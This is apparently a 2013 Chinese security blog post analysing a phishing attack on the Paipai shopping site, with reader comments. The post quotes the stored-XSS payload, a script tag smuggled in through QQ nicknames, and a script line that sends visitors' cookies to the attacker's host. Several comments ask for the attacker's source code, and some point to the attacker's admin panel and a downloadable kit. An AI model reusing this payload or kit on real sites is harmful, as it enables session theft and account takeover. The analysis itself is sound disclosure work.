昨晚我们团队捕获到一起高级钓鱼攻击,紧急响应后,对背后的团队技术运作能力表示欣赏:终于不是老套的、土得要死的方式。这次还真唤起我心中的那个魔鬼,有趣,这样才有趣!:)

等黑产(非其他团队)用这样的方式已经等了很久很久,虽然还不够高明,但已经有进步了!根据伟大的统计学,互联网上铺天盖地的攻击,能正巧被我们发现的概率不高,这次既然发现了,可以推出利用这一攻击手法估计早几个月已经在实施,而准备好这套计划,估计时间上会更久。

开始进入重点:

在拍拍上和卖家交流后,卖家发来这条消息:

亲,亲反映的售后服务问题,我们给亲退款58元作为优惠,亲填写下退款信息:http://mcs.paipai.com/RWsiZVpoe

亮点1

被诱骗访问上面这个链接后,会302跳转到:

http://shop1.paipai.com/cgi-bin/shopmsg/showshopmsg?shopId=2622893717&page=1&iPageSize=1&t=0.8497088223518993&g_tk=2019233269&g_ty=ls&PTAG=40012.5.9

这里面是一个存储型XSS,这个XSS不错在于,攻击者通过修改自己QQ昵称后,昵称被拍拍读取并没适当的过滤就展示出来了,导致存储型XSS。如下图:

高级钓鱼攻击来了:针对拍拍的XSS攻击

上面这个链接的代码如下:

var msgContent = [false,false,1,false,'2351926008:<script/src=http://t.cn/zjhKDPE> ',' ','0000000000','2012-11-11','04:58:35','店主回复','000','2012-11-11','04:59:33',false,'2684118472:</script> ',' ','0000000000','2012-11-11','04:57:25','店主回复','00000','2012-11-11','04:59:25',''];
showLeaveMsg(msgContent, 1);

注意红色标注的位置。

亮点2

上面红色标注的位置,那个js链接是短网址,这个手法已经司空见惯了,短网址利于迷惑,同时内容短,对于一些数据提交限制长度的功能来说,这是一个好方法。

亮点3

打开这个短网址,跳转到了如下链接:

http://my.tuzihost.com/qq2.js

这个链接里会生成一个拍拍真的页面,同时至少执行了如下脚本:

document.writeln("<iframe width=100% height=1 frameborder=0 scrolling=auto src='http://my.tuzihost.com/2/c.php?c="+escape(document.cookie)+"'></iframe>");

这个脚本很邪恶,就是专门盗取Cookie的。今年315后,认识Cookie的同学已经很多了,拍拍的Cookie比较脆弱,被盗取就意味着身份权限被盗。

在qq2.js这个文件里,攻击者明显是做了足够的研究,包括提取关键Cookie字段,通过代码里的痕迹与风格,估计可以推出是谁写的:)

亮点4

qq2.js所在的my.tuzihost.com首页做了伪装,让人以为是一个正规的导航站。

亮点5

my.tuzihost.com存在列目录漏洞,通过这个我查看了攻击者写的其他代码,可以看出用心了……

通过周边的一些信息推断:

1,攻击者收集到的Cookie应该是存入了MySQL数据库;
2,应该有个后台能显示这些Cookie信息;
3,有邮件通知功能(也许还用作其他);
4,攻击者(或者说团队更合适)不善于隐藏,也许他们分工真的明确,写利用代码的人不一定参与了攻击,否则不太可能犯下一些明显的错误;

结束

我们已经第一时间将这个攻击反馈给腾讯安全中心,我发现他们已经修复了漏洞,效率真高。

这次攻击实际上还不高级,不过非常有效,钓鱼钓的不是密码,而是关键Cookie,足矣秒杀拍拍了。我曾经科普过《关于社交网络里的高级钓鱼攻击》,大家可以查看微信的历史消息,看看这篇文章。

这次攻击在黑产中运用值得引起业界的警惕,实际上过去几年,这样的攻击我遇见过几起,不过没证据表明是黑产在运用,基本都是:just for joke。

你,终于要来了?

source

一大波求源码的正在靠近……

xfk 2013-05-03 1楼

shuajifen@126.com

求源码,很感兴趣,想研究一下这个过程的实现,谢谢分享!

null 2013-05-03 2楼

求源码,正好研究下,感谢余弦大神

null 2013-05-03 3楼

gaoheby@126.com,忘记邮箱了

teamtopkarl (1级) 2013-05-03 4楼

teamtopkarl#qq.com

发我这个邮箱,看看!余总

Justin (1级) 2013-05-03 5楼

留邮箱看源码。。xiaoyao_zyd@hotmail.com

qwaszx321 (1级) 2013-05-03 6楼

研究源码!173287517@qq.com

黑客 2013-05-03 7楼

……………..这特么有意思吗

Nicky 2013-05-03 8楼

jusnic@163.com

求源码,我是来学习的

pwolf (1级) 2013-05-03 9楼

不就一个xss么,这特么有意思么??

pwolf (1级) 2013-05-03 10楼

搞得跟发现新大陆一样,就这点水平啊

黑产 2013-05-03

@pwolf 来点精彩的?p wolf

pwolf (1级) 2013-05-03

@黑产 不敢说有什么精彩的,之前也搞过钓鱼,直接拿qq号密码不是更方便?拿cookie反而还要绕一道,而且还有时限,脱裤子放屁么。

反过来说,我要有xss,就直接拿cookie了,还钓个毛鱼啊??

看着这种小题大做,哗众取宠不爽而已,可能是我技术不够,随便放两句,对事不对人,欢迎pk

余弦 2013-05-03

@pwolf 欢迎evilcos@gmail.com来pk,不在这嚷嚷

落叶纷飞 (1级) 00day.cn,打站尸,脚本猪,WEB安全攻城尸 2013-05-03

@余弦 牛怒了

double 2013-05-05

@余弦 pk吧,喜闻乐见。大家也长长见识,别遮遮掩掩的

dacble (1级) 2013-05-03 11楼

求源码,,,研究一下了

1054039663@qq.com

xx 2013-05-03 12楼

在qq2.js这个文件里,攻击者明显是做了足够的研究,包括提取关键Cookie字段,通过代码里的痕迹与风格,估计可以推出是谁写的:)

另外,想要我这边比较完整源码的同学,留下邮箱,并做个简要说明,我集中密送。

这是亮点,说明搂猪已经把他们给日下来了

bbm 2013-05-03 13楼

xuxiaoyue49@163.com

求源码…..

pentest 2013-05-03 14楼

源码研究:pentest@yeah.net

c0me0n 2013-05-03 15楼

w0aicanglaoshi@126.com求源码,感谢!

wowo2013good@163.com 2013-05-03 16楼

wowo2013good@163.com求源码,感谢!

凤凰 2013-05-03 17楼

phoenix–@msn.com,求源码,谢谢!

知道创宇 保龙哥 2013-05-03 18楼

看到《qqzone第一天。。。。。。》,我笑了。哈哈,你这也叫发现?把截获的原始样本,拿出来,看看,附件呢?业内的人你还是别糊弄的好,研究技术,就好好研究,干么这样呢,心里自己知道,就算宣传做的也好点。对你们彻底无语了,撸撸睡吧。

糊里糊涂 2013-05-03

@知道创宇 保龙哥 你是冒牌的吧。冒充别人名义有意思么?

保龙 2013-05-03

@知道创宇 保龙哥

你是谁阿?这是我的邮件:kn0wns1c@gmail.com。

Tycx2ry 2013-05-03 19楼

求源码 谢谢!!!

Tycx2ry@safekeyer.com

bccsafe (1级) 2013-05-03 20楼

求源码研究研究

bccsafe@163.com

lone (1级) 京城天桥下卖报纸 2013-05-03 21楼

希望可以看看是不是那个人。

lone@blackbap.org

晴天小铸 2013-05-03 22楼

435420828@qq.com 球源码

saline (3级) 2013-05-04

@晴天小铸 回头找我,我给你~

up 2013-05-03 23楼

up8560#yeah.net 非常感谢。

ifconfigme 2013-05-03 24楼

ifconfigme@163.com

求源代码学习一下

m0zh3 (1级) 2013-05-03 25楼

求源码学习,738124692@qq.com

miss_freebuf (1级) 2013-05-03 26楼

学习下 misszone520@163.com

ark 2013-05-03 27楼

http://my.tuzihost.com/admin.php已经破解出密码了 留邮箱发源码

XXX 2013-05-04 28楼

my.tuzihost.com/__dodo__/dodo.zip 自己去打包吧,我打包好了。现在上面是马场了,大牛不发源码只好自己拿啦。

kindsjay (1级) 2013-05-04 29楼

yfscx7758258@163.com 求一份.

完美 2013-05-05 30楼

来freebuf必须先看评论再看文章

Spider (1级) 一直菜鸟。 2013-05-05 31楼

求份源码学习 517722094@qq.com .

jiayzhan (2级) 2013-05-06 32楼

大多数的漏洞利用是多个原理组合使用的结果,这个也一样,社会工程学 + Stored XSS 的组合构成了本次的钓鱼漏洞利用场景。如果Stored XSS解决了,这个漏洞的价值至少折扣掉7成。于是我们来谈Stored XSS:

如何解决? 源于直接或者间接来源于客户端的数据被二次(或者多次)输出到客户端之前没有做正确适当的编码所致。

编码?

对,编码,HTML/URL/JS/…的转义处理即为编码,如何识别出语法环境正确的使用编码,才是王道。攻击与利用本身不是我们做技术的人追求的目标,解决方案才是真正的目标。呵呵。任何一个普通的XSS漏洞都可以构建成可怕的攻击,只是你需要时间精力去实现,实现了攻击,对于你意义何在? 你的目的是攻击吗?不应该,而是如何防止与解决。对于黑客产业链上的人另当别论,我相信这里的人多数不是链子上的人,我也不是。

Wun (1级) 2013-05-06 33楼

我也弱弱的发个邮箱求源码 willis.chen.real@gmail.com

jiayzhan (2级) 2013-05-06 34楼

这份攻击哪里需要源码?你们的问题让我感到极度困惑,呵呵

sniperhk 2013-05-06 35楼

我觉得是针对特定目标的钓鱼吧,黑产?光靠个XSS来吃饭会不会饿死都是个问题

kokbora88 2013-05-06 36楼

XSS 很有前途 。 未来的黑客面临xss

马化腾 2013-05-06 37楼

@余弦 孩子,请别怀疑我们的应急响应态度!

demon 2013-05-07 38楼

我还真没看见红色标注。